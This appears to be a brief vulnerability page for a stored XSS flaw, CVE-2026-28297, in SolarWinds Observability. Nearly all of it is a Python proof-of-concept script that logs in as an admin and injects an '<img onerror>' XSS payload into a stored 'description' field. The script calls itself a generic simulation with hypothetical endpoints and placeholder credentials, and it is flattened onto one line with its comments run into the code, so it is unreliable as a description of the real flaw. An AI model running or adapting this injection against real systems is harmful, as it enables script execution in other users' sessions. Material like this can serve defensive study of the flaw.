CVE-2026-28297 SolarWinds Observability 存储型XSS漏洞

import requests # This is a generic PoC simulation for Stored XSS # Target URL (Hypothetical endpoint based on vulnerability type) target_url = "https://target-solarwinds/api/endpoint" login_url = "https://target-solarwinds/api/login" # Malicious payload to demonstrate script execution # Use a simple alert or callback for verification xss_payload = "<img src=x onerror=alert('CVE-2026-28297-Test')>" # Authenticate with High Privilege Account (PR:H required) session = requests.Session() credentials = {"username": "admin", "password": "high_priv_pass"} session.post(login_url, data=credentials) # Inject the payload via a vulnerable input field headers = {"Content-Type": "application/json"} data = { "configuration_name": "Test Config", "description": xss_payload # Injecting payload into a persistent field } response = session.post(target_url, json=data, headers=headers) if response.status_code == 200: print("Payload injected successfully.") print("Trigger: Navigate to the page that displays the 'description' field.") else: print(f"Injection failed with status code: {response.status_code}")